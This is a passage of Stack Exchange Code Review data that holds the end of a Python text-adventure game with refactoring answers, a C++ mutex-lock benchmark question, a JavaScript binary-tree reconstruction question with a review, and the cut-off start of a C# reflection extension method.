independence_missouri()
choices.append('chose merging over all')
elif situation_spring == 'A':
short_sleep()
print(negotiate_ignore_risk)
('chose to negotiate and starved')
else:
roadblock()
def sit_outbreak():
situation_outbreak = str(input(outbreak))
if situation_outbreak == 'X':
short_sleep()
print(outbreak_treat)
relationships[0] -= down
relationships[1] += up
elect()
choices.append('chose aid over resources')
elif(situation_outbreak) == 'B':
short_sleep()
print(outbreak_exile)
relationships[1] -= major
relationships[0] += slightly
elect()
choices.append('chose resources over aid')
else:
roadblock()
def independence_missouri():
situation_independence = str(input(independence))
time.sleep(4)
if situation_independence == 'X':
short_sleep()
print(independence_escape)
relationships[0] += slightly
relationships[1] += major
elect()
choices.append('chose to escape')
elif situation_independence == 'B':
short_sleep()
print(independence_crusade)
relationships[0] += major
relationships[1] += slightly
buff()
choices.append('resorted to violence')
elif situation_independence == 'Y':
short_sleep()
print(new_independence)
relationships[0] += up
relationships[1] += up
buff()
choices.append('chose to talk')
else:
roadblock()
def populated():
situation_population = str(input(population))
if situation_population == 'X':
short_sleep()
print(population_reduce)
relationships[1] -= major
elect()
choices.append('chose survival over morals')
elif situation_population == 'B':
short_sleep()
print(population_desperation)
choices.append('tried to perservere but died')
else:
roadblock()
def elect():
situation_election = str(input(election))
if situation_election == 'X':
short_sleep()
print(election_sabatoge)
relationships[1] -= major
terrorism()
choices.append('chose dirty play over clean')
elif situation_election == 'B':
short_sleep()
print(election_persuade)
relationships[0] -= slightly
execute()
choices.append('chose clean play over dirty')
else:
roadblock()
def buff():
situation_upgrade = str(input(upgrade))
if situation_upgrade == 'X':
short_sleep()
print(army)
choices.append('chose army over all and died')
elif situation_upgrade == 'B':
short_sleep()
print(resiliency)
relationships[0] += up
relationships[1] += up
opportunity()
choices.append('chose resiliency and survived')
elif situation_upgrade == 'Y':
short_sleep()
print(resources)
choices.append('chose resources over all and died')
elif situation_upgrade == 'A':
short_sleep()
print(services)
choices.append('chose services over all and died')
else:
roadblock()
def opportunity():
situation_end_opportunity = str(input(ending_opportunity))
if situation_end_opportunity == 'X':
short_sleep()
print(ending_abandon)
relationships[0] -= hero_traitor
relationships[1] -= hero_traitor
print(the_end)
choices.append('chose your self over all')
print('\n')
civil_left()
army_left()
elif situation_end_opportunity == 'B':
short_sleep()
print(ending_perservere)
print(the_end)
choices.append('chose everyone over selfishness')
print('\n')
civil_left()
army_left()
else:
roadblock()
def terrorism():
situation_end_terrorism = str(input(ending_terrorism))
if situation_end_terrorism == 'X':
short_sleep()
print(ending_attack)
print(the_end)
choices.append('chose war over retreat')
print('\n')
civil_left()
army_left()
elif situation_end_terrorism == 'B':
short_sleep()
print(ending_retreat)
print(the_end)
choices.append('chose retreat over war')
print('\n')
civil_left()
army_left()
else:
roadblock
def execute():
situation_end_execute = str(input(ending_execution))
if situation_end_execute== 'X':
short_sleep()
print(ending_death)
relationships[0] += hero_traitor
relationships[1] += hero_traitor
print(the_end)
choices.append('chose words over guns')
print('\n')
civil_left()
army_left()
elif situation_end_execute== 'B':
short_sleep()
print(ending_kill)
print(the_end)
choices.append('chose guns over words')
print('\n')
civil_left()
army_left()
else:
roadblock()
def civil_left():
if relationships[1] <= -8:
print('You left the ' + civilian + ' feeling ' + vengeful)
if relationships[1] > -8 and relationships[1] < -4:
print('You left the ' + civilian + ' feeling ' + hateful)
if relationships[1] >= -4 and relationships[1] < -1:
print('You left the ' + civilian + ' feeling ' + disappointed)
if relationships[1] >= -1 and relationships[1] < 2:
print('You left the ' + civilian + ' feeling ' + conflicted)
if relationships[1] >= 2 and relationships[1] < 5:
print('You left the ' + civilian + ' feeling ' + satisfied)
if relationships[1] >= 5 and relationships[1] < 8:
print('You left the ' + civilian + ' feeling ' + happy)
if relationships[1] >= 8:
print('You left the ' + civilian + ' feeling ' + prosperous)
def army_left():
if relationships[0] <= -7:
print('You left the ' + army_government + ' feeling ' + vengeful)
if relationships[0] > -7 and relationships[0] < -4:
print('You left the ' + army_government + ' feeling ' + hateful)
if relationships[0] >= -4 and relationships[0] < -2:
print('You left the ' + army_government + ' feeling ' + disappointed)
if relationships[0] >= -2 and relationships[0] < 2:
print('You left the ' + army_government + ' feeling ' + conflicted)
if relationships[0] >= 2 and relationships[0] < 5:
print('You left the ' + army_government + ' feeling ' + satisfied)
if relationships[0] >= 5 and relationships[0] < 7:
print('You left the ' + army_government + ' feeling ' + happy)
if relationships[0] >= 7:
print('You left the ' + army_government + ' feeling ' + prosperous)
print(synopsis)
time.sleep(3)
long_sleep()
story()
def choice():
print('\n' + 'You: ')
for decision in choices:
print(' - ' + decision + '\n')
choice()
</code></pre>
| [] | [
{
"body": "<h2>Style</h2>\n\n<p>Before diving in the actual code, some general style considerations first. Python comes with an official <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">Style Guide</a>. The most relevant parts for your code would be the sections on <a href=\"https://www.python.org/dev/peps/pep-0008/#blank-lines\" rel=\"nofollow noreferrer\">how to structure code using blank lines where appropriate</a> (two blank lines between separate functions and classes, only single blank line within functions and classes) and the recommendations on <a href=\"https://www.python.org/dev/peps/pep-0008/#documentation-strings\" rel=\"nofollow noreferrer\">how to document your functions</a> using documentation strings <code>\"\"\"enclosed in triple quotes\"\"\"</code>. The code examples in the following answer will demonstrate both of these style elements.</p>\n\n<hr>\n\n<p><strong>Note:</strong> For convenience, some of the code below uses <a href=\"https://realpython.com/python-f-strings/\" rel=\"nofollow noreferrer\">f-strings</a>, which is a new Python feature introduced with Python 3.6. If you're not yet there, it should be obvious how to transform those pieces to use <code>.format(...)</code> instead.</p>\n\n<hr>\n\n<h2>Don't repeat yourself</h2>\n\n<p>Your game has a lot of duplicate text, e.g. where you start to describe the possible changes in the relationship with the other factions. I would propose to collect those templates in a \"dumb\" class, or maybe a dictionary if you don't like classes, and then put in the factions as you need them. This could be done like so:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>class Factions:\n \"\"\"Class to represent the factions found in the game\"\"\"\n\n ARMY = \"ARMY & GOVERNMENT\"\n CIVILIANS = \"CIVILIANS\"\n EVERYBODY = \"EVERYBODY\"\n\n\nclass RelationshipChanges:\n \"\"\"Holds templates to decribe changes in relationships\"\"\"\n\n HEROISM = '{} looks at you as a hero.'\n GREAT_INCREASE = 'This greatly improves your relationship with {}.'\n INCREASE = 'This improves your relationship with {}.'\n SLIGHT_INCREASE = 'This slightly improves your relationship with {}.'\n\n SLIGHT_DECREASE = 'This slightly decreases your relationship with {}.'\n DECREASE = 'This worsens your relationship with {}.'\n GREAT_DECREASE = 'This greatly worsens your relationship with {}.'\n TREASON = '{} wants you dead.'\n</code></pre>\n\n<p>and then do <code>RelationshipChanges.GREAT_INCREASE.format(Factions.CIVILIANS)</code> instead of defining <code>civil_great_increase</code> and all of its companions. The code would generate </p>\n\n<pre class=\"lang-none prettyprint-override\"><code>This greatly improves your relationship with CIVILIANS.\n</code></pre>\n\n<p>It might be also a good idea to define a function as a shorthand for this, since it's not quite a pleasure to type.</p>\n\n<pre><code>def change_relation(faction, type_of_change):\n message_template = getattr(RelationshipChanges, type_of_change.upper())\n return message_template.format(getattr(Factions, faction.upper()))\n</code></pre>\n\n<p>With this, <code>change_relation(\"civilians\", \"great_increase\")</code> would generate the same output as previously seen. The function uses Python's built-in <a href=\"https://docs.python.org/3/library/functions.html#getattr\" rel=\"nofollow noreferrer\"><code>getattr(...)</code></a> function to programmatically access members of the class by their name. As an example, <code>getattr(Factions, \"ARMY\")</code> would be the same as <code>Factions.ARMY</code>. Neat, isn't it? </p>\n\n<p>If you were even more keen on saving some typing, this function would easily allow to add a \"translation\" <a href=\"https://docs.python.org/3/library/functions.html#func-dict\" rel=\"nofollow noreferrer\">dictionaries</a> as an intermediate. These dict could then map <code>'+++'</code> to <code>RelationshipChanges.GREAT_INCREASE</code> or <code>'civ'</code> to <code>Factions.CIVILIANS</code> and shorten the previous function call to <code>change_relation('civ', '+++')</code>. <strike>I will leave that as an exercise to you.</strike> <em>See the updated version below.</em></p>\n\n<p>The relationship levels themselves could be handled similarly.</p>\n\n<pre><code>class RelationshipLevels:\n \"\"\"Class to represent the player's relationship to other factions\"\"\"\n\n VENGEFUL = \"VENGEFUL\"\n HATEFUL = \"HATEFUL\"\n DISAPPOINTED = \"DISAPPOINTED\"\n CONFLICTED = \"CONFLICTED/NEUTRAL\"\n SATISFIED = \"SATISFIED\"\n HAPPY = \"HAPPY\"\n PROPEROUS = \"PROPEROUS\"\n\n ALL = [VENGEFUL, HATEFUL, DISAPPOINTED, CONFLICTED, SATISFIED, HAPPY, PROSPEROUS]\n #^--- this will become handy in a moment\n</code></pre>\n\n<p><code>army_left</code> and <code>civil_left</code> are another instance where you tend to repeat the same pieces of code/text over and over again. If you think about those two for a moment, the common pattern will become clear: For a given faction and its relationship score, you want to determine the relationship level. Therefor, you essentially check if the score is below a certain treshold, format the message and print it. A way to generalize that idea would be as follows:</p>\n\n<pre><code>def get_final_standing(relation_score, thresholds):\n \"\"\"Determine how the faction thinks about the player at the end\"\"\"\n for threshold, feeling in zip(thresholds, RelationshipLevels.ALL):\n if relation_score <= threshold:\n return feeling\n\n return RelationshipLevels.ALL[-1]\n</code></pre>\n\n<p>The function uses <a href=\"https://docs.python.org/3/library/functions.html#zip\" rel=\"nofollow noreferrer\"><code>zip(...)</code></a> two iterate over two sequences in parallel, and stops the loop (<code>break</code>) if it has found the appropriate relationship level. It becomes a little bit tricky if you don't want to put an upper limit to the threshold so I decided to implement this in a way that whenever the score is greater than the last threshold you gave, the most positive (i.e. rightmost) level will be returned.\nTo realize the same funcationality as <code>army_left</code> formerly implemented you would then do</p>\n\n<pre><code>final_standing = get_final_standing(relationships[Factions.CIVILIANS], (-7, -4, -2, 2, 5, 7))\nprint(f'You left the {Factions.ARMY} feeling {final_standing}.')\n</code></pre>\n\n<p>I leave <code>civil_left</code> as an exercise to you.</p>\n\n<p>All the score increments/decrements should also be bundled somehow. At the moment you have <code>slight</code>, <code>slightly</code>, and <code>relationships[5]</code> to express a slight change in the score in either direction. The same pattern is more or less to be found for normal and major changes, as well as for hero/traitor. That's madness!</p>\n\n<p>One way would be to put them into a class such as we did before with the other constant values. A dict might also be a viable solution. But wait! We have already started somethind related to those changes, haven't we? Well observed. Time to have another look at <code>RelationshipChanges</code>. At the moment this class simply holds the template message for each of the changes. With just one more level of \"nesting\", we can add the score modifiers as well.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>ULTIMATE_SCORE_CHANGE = 15\nMAJOR_SCORE_CHANGE = 2\nNORMAL_SCORE_CHANGE = 1\nSLIGHT_SCORE_CHANGE = 0.5\n\nclass RelationshipChanges:\n \"\"\"Holds templates and modifiers to decribe changes in the relationships\"\"\"\n\n HEORISM = {\n 'message': '{} looks at you as a hero.',\n 'modifier': ULTIMATE_SCORE_CHANGE\n }\n GREAT_INCREASE = {\n 'message': 'This greatly improves your relationship with {}.',\n 'modifier': MAJOR_SCORE_CHANGE\n }\n INCREASE = {\n 'message': 'This improves your relationship with {}.',\n 'modifier': NORMAL_SCORE_CHANGE\n }\n SLIGHT_INCREASE = {\n 'message': 'This slightly improves your relationship with {}.',\n 'modifier': SLIGHT_SCORE_CHANGE\n }\n\n SLIGHT_DECREASE = {\n 'message': 'This slightly decreases your relationship with {}.',\n 'modifier': -SLIGHT_SCORE_CHANGE\n }\n DECREASE = {\n 'message': 'This worsens your relationship with {}.',\n 'modifier': -NORMAL_SCORE_CHANGE\n }\n GREAT_DECREASE = {\n 'message': 'This greatly worsens your relationship with {}.',\n 'modifier': -MAJOR_SCORE_CHANGE\n }\n TREASON = {\n 'message': '{} wants you dead.',\n 'modifier': -ULTIMATE_SCORE_CHANGE\n }\n</code></pre>\n\n<p>Now that those messages and the actual changes to the score are linked more closely, it would be a great moment to remove those change messages from the static game text. A benefit of this would be that if you ever decided to change the effects of an action, you would only have to do this in on place, namely on of the event functions, and not there and somewhere else hidden in all the storyline text. Since those message are IIRC merely appended to the storyline text, the output should not change significantly. Of course the implementation of <code>change_relation</code> has to be adapted to fit these changes, and since all that stops <code>change_relation</code> from actually updating the relationship score is not knowing about <code>relationships</code> it is easy to adapt it to do more repetive work for us:</p>\n\n<pre><code>def change_relation(relationships, faction, type_of_change):\n \"\"\"Documentation omitted for brevity\"\"\"\n type_translation = {\n \"---\": \"great_decrease\", \"--\": \"decrease\", \"-\": \"slight_decrease\",\n \"+++\": \"great_increase\", \"++\": \"increase\", \"+\": \"slight_increase\"\n }\n if type_of_change in type_translation:\n # only apply the translation if it's own of ---/--/.../+++\n type_of_change = type_translation[type_of_change]\n\n change_descr = getattr(RelationshipChanges, type_of_change.upper())\n faction_name = getattr(Factions, faction.upper())\n relationships[faction_name] += change_descr['modifier']\n\n return change_descr['message'].format(faction_name)\n</code></pre>\n\n<p>You can now use something like <code>print(change_relation(relationships, \"civilians\", \"---\"))</code> to adapt the game state and tell the user about the consequences of his/her decision. (<strong>Note:</strong> The code above builds upon a change to <code>relationships</code> that will be explained in the following section.)</p>\n\n<h2>Make it harder to be wrong</h2>\n\n<p>Ah, that damn army ... where was their score in <code>relationships</code> again? Was it the first or the second position? Maybe the third?</p>\n\n<p>To avoid situations like this, I would recommend to use a dictionary. This leaves you with something like <code>relationships = {\"army\": 0, \"civil\": 0}</code> or even <code>relationships = {Factions.ARMY: 0, Factions.CIVILIANS: 0}</code>. Using <code>relationships[Factions.ARMY]</code> leaves absolutely no doubt what you're trying to do. It will also make it waaaay easier to spot copy and paste errors.</p>\n\n<h2>Avoid globals</h2>\n\n<p>Global variables are best avoided, since it's harder to see which parts of the code modify them, which leads to all kind of problems. The core object of your game would be <code>relationships</code> and it would be easy to transform all your game functions to accept it as an argument instead of relying on it to be present on a global scope.\nThe most common approach would be to somehow define a main function which does all the needed initialization stuff, like displaying the synopsis or initializing <code>relationships</code>. <code>relationships</code> is then passed to <code>story</code> which again passes it onwards depending on how the player chooses his actions.</p>\n\n<p>All the game text should wrightfully stay in global variables. For them I would recommend to <code>CAPITALIZE_THEIR_NAMES</code> to make it clear that they are supposed to be used/seen as constant values.</p>\n\n<h2>User input handling</h2>\n\n<p>At the moment the user input handling is not very robust. Once you enter an invalid command, e.g. by smashing the enter key to long, the program bails out and you have to start all over. This can be very annoying. A better approach would be to ask for invalid input several times and only bail out if a termination character like <code>q</code>/<code>Q</code> is entered or the user did not provide a valid input six times in a row. An implementation of this approach might look like:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def prompt_for_input(prompt, valid_inputs, max_tries=6):\n print(prompt)\n for _ in range(max_tries):\n user_input = input('> ').upper()\n if user_input in valid_inputs:\n return user_input\n if user_input == 'Q':\n break\n # the input was not valid, show the roadblock\n roadblock()\n # Either Q or excessive retrying brought us here\n print('Seems like you are not willing to play. Goodbye!')\n sys.exit(0)\n</code></pre>\n\n<h2>Mini demo</h2>\n\n<p>The answer contains some a lof of proposals that change the code drastically. Since you requested to see more code to better understand it and the answer is already quite long, I decided to implement a reduced version of your game that implements those proposed changes and upload it into a <a href=\"https://gist.github.com/alexvorndran/48206dae7d6ba325e4c55f8281da0900\" rel=\"nofollow noreferrer\">gist</a>. The gist is hidden from search engines but accessible to everyone with the link.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T17:04:00.130",
"Id": "431338",
"Score": "0",
"body": "I like your more efficient view of it but if I'm being honest, I understood half of what you proposed. It probably is my fault because I am still a beginner. I would like to your version of the code so that I can dissect it and maybe understand how it is more efficient. P.S. I meant to type functions so I replaced Factions with SocialStatus."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T21:09:52.653",
"Id": "431472",
"Score": "0",
"body": "The demo section now includes a link to a [gist](https://gist.github.com/alexvorndran/48206dae7d6ba325e4c55f8281da0900) where you can find a reduced version of your game with those changes in place. I hope that helps."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T00:00:10.990",
"Id": "222737",
"ParentId": "222720",
"Score": "11"
}
},
{
"body": "<p>I'm on my phone, so it's hard to really see this code as a whole and really take the full context of everything. I'm just going to flip through and mention things as I notice them.</p>\n\n<hr>\n\n<p>At the top, you have</p>\n\n<pre><code>vengeful = 'VENGEFUL.'\n</code></pre>\n\n<p>And other such lines. This strikes me as odd. The only small benefit I can see is this would help the IDE auto-complete the word. Looking at how you're using it, you're forcing a <em>ton</em> of repetitious code in functions like <code>civil_left</code>. Look at that function, and look at the function below it and think about how much of those functions are the same. Not only are each of lines in the functions nearly identical, both of those functions are basically the same! Whenever you have code that's nearly identical in multiple spots, make the identical code the body of a function, and make the parts that differ parameters to the function. </p>\n\n<p>How would that look? The only real part that differs is the end of that sentence where you decide what status to display. First, factor out the part that decides the word to use:</p>\n\n<pre><code>def describe_status(relation):\n if relation <= -8:\n return \"vengeful\"\n\n elif -8 < relation <= -4: # Note, you can chain comparison operators\n return \"hateful\"\n\n elif -4 < relation <= -1:\n return \"disappointed\"\n\n elif -1 < relation <= 2:\n return \"conflicted\" \n\n #... The rest of the statuses\n</code></pre>\n\n<p>Then, use that function:</p>\n\n<pre><code>def civil_left():\n status = describe_status(relationship[1])\n\n print('You left the', civilian, 'feeling', status)\n\ndef army_left():\n status = describe_status(relationship[0])\n\n print('You left the', army_government, 'feeling', status)\n</code></pre>\n\n<p>Now, the major problem here is that you set the relationship thresholds at different levels for each. You could add a second parameter to <code>describe_status</code> that adds an offset to each condition to remedy that though. Note how much duplication that removed though!</p>\n\n<hr>\n\n<p>I'll note that you tagged this as <code>functional-programming</code>, but this is <em>far</em> from what would be considered functional. I'm not going to go into great detail about what all FP means, but basically, if you're following FP principals, you're passing data around instead of mutating objects and carrying out side effects. All of your functions <code>print</code> directly, and none seem to accept any parameters. This is not good, regardless of the paradigm that you're following. You're relying entirely on global state (like <code>relationships</code>), and on operating through side effects (like altering <code>relationships</code> and using <code>print</code> everywhere). If you continue to code like this, you will have a very difficult time creating anything other than small projects, and debugging will increasingly become a nightmare.</p>\n\n<p>Look at how <code>describe_status</code> operates. Every piece of data that it requires is a parameter (<code>relation</code>), and everything the function does is done via the data that's <code>return</code>ed. When functions are just taking and returning data, it becomes much easier to reason about how the code works; and that's an extremely important goal. Code that's hard to understand the operation of is code that's hard to maintain and build on.</p>\n\n<hr>\n\n<p>You have a lot of story Strings embedded in the code. I would save these in a file and read them from file as needed. That will make the code less bulky, and will make it so you don't need to alter the code if you want to alter the story. </p>\n\n<hr>\n\n<p>I'm going to submit this before it gets closed. Good luck! </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T00:04:08.663",
"Id": "222739",
"ParentId": "222720",
"Score": "8"
}
},
{
"body": "<p>I would move the story/writing out of the python script and into a text file. Even better, I would put it into some JSON compliant format. This isn't the only way to do this, but this is what I came up with just now: A given JSON object describes a single scene/event. Each possible event has a unique ID, and has a list of possible transitions (certain user inputs that lead to other events). An event also has some text to display to the user of course. Here is what such a JSON text file might look like (excuse the bad story writing):</p>\n\n<pre><code>{\n \"events\": [\n {\n \"id\": \"event_story_begin\",\n \"transitions\":\n [\n {\"input\": \"YES\", \"to_event\": \"event_you_said_yes\"},\n {\"input\": \"NO\", \"to_event\": \"event_you_said_no\"}\n ],\n \"text\": \"Your adventure begins here, traveller. Your squire asks you if you'd like a pear. What do you say?\"\n },\n\n {\n \"id\": \"event_you_said_yes\",\n \"transitions\":\n [\n {\"input\": \"YES\", \"to_event\": \"event_you_said_yes\"},\n {\"input\": \"NO\", \"to_event\": \"event_you_said_no\"}\n ],\n \"text\": \"Your squire is pleased and silently hands you a pear. He offers you another. Do you accept?\"\n },\n\n {\n \"id\": \"event_you_said_no\",\n \"transitions\":\n [\n {\"input\": \"\", \"to_event\": \"event_story_end\"}\n ],\n \"text\": \"Your squire silently stares at you, motionless. Suddenly, with one well-placed blow, your squire swings his axe and cleaves your skull.\"\n },\n\n {\n \"id\": \"event_story_end\",\n \"transitions\": [],\n \"text\": \"Your adventure ends here.\"\n }\n ]\n}\n</code></pre>\n\n<p>The big advantage of doing things this way is reusability - your python script and your story are decoupled, so you can add new events to your story without changing your python script. Speaking of script, the code might look something like this:</p>\n\n<pre><code>class Event:\n\n def __init__(self):\n self.id = \"\"\n self.transitions = []\n self.text = \"\"\n\n def has_input_options(self):\n return self.transitions and self.transitions[0][\"input\"]\n\n def print_text(self):\n print(self.text)\n\n def print_input_options(self):\n if not self.has_input_options():\n return\n print(\"Options:\", end=\" \")\n for transition in self.transitions:\n print(f\"[{transition['input']}]\", end=\" \")\n print()\n\n def get_next_event_id(self):\n while self.transitions:\n user_input = \"\"\n if self.has_input_options():\n user_input = input()\n try:\n transition = next(t for t in self.transitions if t[\"input\"].lower() == user_input.lower())\n except StopIteration:\n print(\"Try again:\", end=\" \")\n continue\n else:\n return transition[\"to_event\"]\n return \"\"\n\n @staticmethod\n def from_dict(dictionary):\n event = Event()\n event.id = dictionary[\"id\"]\n event.transitions = dictionary[\"transitions\"]\n event.text = dictionary[\"text\"]\n return event\n\nclass EventManager:\n\n def __init__(self, filename=\"events.txt\"):\n import json\n\n with open(filename) as file:\n self.data = json.load(file)\n\n def get_event_by_id(self, event_id):\n try:\n event_dict = next(event_dict for event_dict in self.data[\"events\"] if event_dict[\"id\"] == event_id)\n except StopIteration:\n return None\n else:\n return Event.from_dict(event_dict)\n\nclass Game:\n\n def __init__(self):\n\n from queue import Queue\n\n self.event_manager = EventManager()\n event_story_begin = self.event_manager.get_event_by_id(\"event_story_begin\")\n\n self.event_queue = Queue()\n self.event_queue.put(event_story_begin)\n\n def play(self):\n\n while not self.event_queue.empty():\n current_event = self.event_queue.get()\n\n current_event.print_text()\n\n current_event.print_input_options()\n\n next_event_id = current_event.get_next_event_id()\n if next_event_id:\n next_event = self.event_manager.get_event_by_id(next_event_id)\n if next_event is not None:\n self.event_queue.put(next_event)\n\ndef main():\n\n game = Game()\n game.play()\n\n return 0\n\nif __name__ == \"__main__\":\n import sys\n sys.exit(main())\n</code></pre>\n\n<p>You have the Event class, which represents a single event or scene. It has some utility functions that make our life easier later (could seriously be improved). The EventManager class does all the JSON stuff, and allows us to generate an Event object (given an associated ID). The Game class handles the main game loop. It does this with a queue of Event objects (the game loop keeps going as long as there are more events to be processed). New Event objects are added to the queue when the current event has transitions and the user provides input. If we encounter an Event which has no transitions, we cannot add any more events to the queue. Once the queue is empty, the game loop stops, and the program terminates.</p>\n\n<p>Again, my suggestion is a rough outline. If I were to make improvements I would probably move the user input stuff into the game loop directly (Event.get_next_event_id is kind of a sloppy solution, and the name is sort of deceptive).</p>\n\n<p>And, if you're curious, here is the program output:</p>\n\n<pre><code>Your adventure begins here, traveller. Your squire asks you if you'd like a pear. What do you say?\nOptions: [YES] [NO] \nyes\nYour squire is pleased and silently hands you a pear. He offers you another. Do you accept?\nOptions: [YES] [NO] \nyes\nYour squire is pleased and silently hands you a pear. He offers you another. Do you accept?\nOptions: [YES] [NO] \nyes\nYour squire is pleased and silently hands you a pear. He offers you another. Do you accept?\nOptions: [YES] [NO] \nno\nYour squire silently stares at you, motionless. Suddenly, with one well-placed blow, your squire swings his axe and cleaves your skull.\nYour adventure ends here.\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T20:29:23.147",
"Id": "222777",
"ParentId": "222720",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "222737",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T16:32:25.387",
"Id": "222720",
"Score": "8",
"Tags": [
"python",
"beginner",
"game",
"functional-programming",
"adventure-game"
],
"Title": "Story-based adventure with functions and relationships"
} | 222720 |
<p>I'm trying to measure how many CPU cycles a mutex lock takes. Can you find any problems in my mutex lock benchmark?</p>
<pre><code>#include <iostream>
#include <thread>
#include <mutex>
#include <chrono>
#include <string>
std::mutex twiceMutex;
typedef std::int64_t i64;
i64 twice(i64 x)
{
return 2 * x;
}
i64 twiceM(i64 x)
{
std::lock_guard<std::mutex> lock(twiceMutex);
return 2 * x;
}
const i64 I = 100'000'000; // number of iterations
struct Benchmark
{
i64 (*fn)(i64);
i64 operator()()const
{
namespace chrono = std::chrono;
auto startTime = chrono::steady_clock::now();
i64 res = 0;
for (i64 i = 0; i < I; i++)
{
res += fn(i);
}
auto endTime = chrono::steady_clock::now();
auto elapsed = chrono::duration_cast<std::chrono::nanoseconds>(endTime - startTime).count();
return elapsed;
}
};
int main()
{
const double T = Benchmark{ twice }(); // total nanoseconds without mutex
const double TM = Benchmark{ twiceM }(); // total nanoseconds with mutex
const double K = 3.7; //GHz of my CPU
const double t = T / I; // nanoseconds per iteration, without mutex
const double tm = TM / I; // nanoseconds per iteration, with mutex
const double m = tm - t; // difference nanoseconds per iteration, this should be the cost of locking a mutex in nanoseconds
// print the results in cycles
std::cout << t * K << std::endl;
std::cout << tm * K << std::endl;
std::cout << m * K << std::endl;
{
std::string _;
std::getline(std::cin, _);
}
}
</code></pre>
<p>I'm intentionally not taking into account thread contention; just interested in the best case cost.</p>
<p>The results are:</p>
<pre><code>9.25905
80.1517
70.8926
</code></pre>
<p>So ~71 CPU cycles for locking a mutex</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T21:43:35.930",
"Id": "431253",
"Score": "0",
"body": "Have you disabled CPU throttling? Otherwise the time to ramp up to full CPU speed can effect the results."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T21:48:50.890",
"Id": "431254",
"Score": "0",
"body": "@1201ProgramAlarm nope, I don't even know how to do that. The test runs for a 3~4 seconds though"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T11:18:51.820",
"Id": "431553",
"Score": "0",
"body": "Micro-review: the fixed-with integer types are defined in `<cstdint>`, so that should be included."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T16:49:38.083",
"Id": "222721",
"Score": "2",
"Tags": [
"c++",
"multithreading",
"thread-safety",
"benchmarking"
],
"Title": "Mutex lock benchmark"
} | 222721 |
<p>I am working on a Daily Coding Challenge to print the BST if given an in-ordered and pre-ordered array.</p>
<p>Below is my code in JavaScript ES6. </p>
<p>Please can you review it. This is my first fully-featured JS program so I am very unaware of standard syntax or shortcuts in JS</p>
<pre><code>function Tree(){
this.value = null
this.right = null
this.left = null
this.reconstruct = (pre_order, in_order)=>{
if (pre_order){
if (this.value == null){
this.value = pre_order[0]
}
let node = pre_order[0]
let split_index = in_order.indexOf(node)
let left_tree = in_order.slice(0, split_index)
let right_tree = in_order.slice(split_index+1)
this.left = new Tree()
this.right = new Tree()
if (left_tree.length>1){
this.left.reconstruct(pre_order.slice(1, split_index), left_tree)
}else{
if (left_tree){
this.left.value = left_tree[0]
}
}
if (right_tree.length>1){
this.right.reconstruct(pre_order.slice(split_index+1), right_tree)
}else{
if (right_tree){
this.right.value = right_tree[0]
}
}
}
}
this.print_tree = (level) =>{
if (this.value){
console.log(" ".repeat(level), this.value)
if(this.left){
this.left.print_tree(level+1)
}
if(this.right){
this.right.print_tree(level+1)
}
}
}
}
in_order = [4, 3, 5, 2, 6, 1, 12, 8, 13, 7, 10, 9, 11]
pre_order = [1, 2, 3, 4, 5, 6, 7, 8, 12, 13, 9, 10, 11]
t = new Tree()
t.reconstruct(pre_order, in_order)
t.print_tree(0)
</code></pre>
| [] | [
{
"body": "<p>A few key points:</p>\n\n<ul>\n<li>Make sure to put in semicolons!</li>\n<li>You don't need to export properties (i.e do <code>this.myVar</code>) if you're not going to access them - this can lead to potentially slowing down recurrence, or in some cases, security vulnerabilities.</li>\n<li>If you're going to use arrow functions, keep it consistent - do <code>const Tree = () => {</code> on the first line</li>\n</ul>\n\n<p>Some more specific things about the actual functionality/logic:</p>\n\n<ul>\n<li>By tracking <code>this.level</code>, you could simplify all required actions into an array by simply pushing their position in the tree. If <code>this.level === 0</code>, you know you are at the top of the tree, and you know to end recurrence.</li>\n<li>Using a position-based tracking lets you make it asyncronous, and print the result at the end. Remember that in JS, <code>console.log</code>s take a lot of time, so you want to avoid it as much as possible.</li>\n<li>This would let you essentially JSONify the tree into a bunch of function references, which, when called, would populate themselves. Giving the option to return this would make the class more integratable into other things, where a console output is not necessarily the most useful thing. Further, it would let you cut out the repetition of <code>if (left_tree.length>1){</code>, which is not DRY.</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T12:59:45.303",
"Id": "222802",
"ParentId": "222728",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "222802",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T19:09:52.307",
"Id": "222728",
"Score": "4",
"Tags": [
"javascript",
"programming-challenge",
"tree"
],
"Title": "Convert an in-ordered and pre-ordered array to a BST"
} | 222728 |
<p>Below I have setup an extension method that takes any object, cycles through its properties, and prints each out to a Console window in the format <code>Name: Value</code>.</p>
<blockquote>
<p>Specification / Scope:</p>
<ul>
<li>Handle only single objects (no collections)</li>
</ul>
</blockquote>
<p>code</p>
<pre><code>public static string PropertiesToString<T>(this T obj, int tabs = 0) where T : class
{
int initTabs = tabs;
string result = string.Empty;
PropertyInfo[] propertyInfo = obj.GetType().GetProperties();
foreach (PropertyInfo property in propertyInfo)
{
string name = property.Name;
object value = property.GetValue(obj, null);
Type valueType = value.GetType();
if (valueType.IsValueType || valueType.Name.Equals("String"))
{
